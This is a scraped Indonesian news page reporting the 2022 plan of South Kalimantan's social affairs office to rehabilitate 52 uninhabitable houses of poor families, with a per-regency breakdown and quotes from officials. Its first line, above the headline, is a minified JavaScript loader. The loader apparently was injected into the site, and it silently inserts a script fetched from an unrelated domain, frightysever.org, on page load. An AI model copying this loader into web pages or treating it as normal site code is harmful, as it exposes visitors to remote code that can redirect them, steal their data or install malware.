(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Layak Huni, 52 Rumah Fakir Miskin di Kalsel Direhabilitasi


KANALKALIMANTAN.COM, BANJARMASIN – Sebanyak 52 rumah tidak layak huni direncanakan akan direhabilitasi secara bertahap melalui program Rehabilitasi Sosial Rumah Tidak Layak Huni (RSRTLH) di tahun 2022.

Kepala Dinas Sosial Kalimantan Selatan (Kalsel), Siti Nuriyani, menjelaskan program RSRTLH merupakan salah satu upaya penanganan fakir miskin oleh Pemerintah Provinsi (Pemprov) Kalsel yang bertujuan meningkatkan kualitas tempat tinggal dengan prioritas atap, lantai, dinding dan fasilitas MCK.

“RSRTLH beranggotakan dua sampai tiga orang untuk satu kelompok masyarakat miskin yang tinggal satu atap. RSRTLH dilaksanakan dalam satu kelompok dengan semangat kebersamaan, kegotongroyongan, dan nilai kesetiakawanan sosial masyarakat,” kata Nuriyani, Sabtu (2/4/2022) dikutip dari Media Center Kalsel.

Program RSRTLH, lanjut Nuriyani, juga bertujuan untuk mewujudkan lingkungan hidup masyarakat yang lebih baik, dengan memfasilitasi penerima manfaat untuk dapat merehabilitasi rumah tempat tinggal secara gotong royong, sehingga tercipta hunian yang layak dan aman untuk ditempati.

 

 

Baca juga: Menyusul Fdl, Seorang Terduga Pengedar Sabu di Cempaka Ikut Dibekuk

“Beberapa tahapan pengajuan RSRTLH yaitu seleksi usulan dari kabupaten kota, verifikasi fisik rumah, kegiatan sosialisasi, dan pelaksanaan rehabilitasi,” ucapnya.

Sementara itu, Kepala Seksi Pemberdayaan dan Pendampingan Bidang Fakir Miskin Dinsos Kalsel, Syarif Mauliddin Nur, mengatakan dari target puluhan rumah tersebut, dua di antaranya direncanakan selesai sebelum perayaan Idulfitri.

“Hanya ada dua kabupaten/kota yang bisa terealisasi dari target kita sebelum Idulfitri, itu pun setelah kita seleksi dengan ketat mana rumah yang dalam situasi urgent. Sisanya kita laksanakan sampai akhir tahun,” kata Syarif.

Diketahui 52 rumah yang akan direhabilitasi mencakup 13 kabupaten/kota se-Kalsel, yaitu Banjarmasin enam rumah, Banjarbaru, Barito Kuala, Banjar, Hulu Sungai Tengah, Hulu Sungai Selatan, Hulu Sungai Utara, Tanah Laut, Balangan, Tapin, dan Tabalong masing-masing empat rumah, serta Kotabaru dan Tanah Bumbu masing-masing tiga rumah.

“Tidak menutup kemungkinan apabila nantinya akan ada penambahan kuota rumah yang akan masuk program RSRTLH dengan anggaran perubahan dikarenakan banyaknya usulan dari kabupaten kota,” kata Syarif. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

16 menit ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

9 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

10 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

12 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

13 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

13 jam ago

This website uses cookies.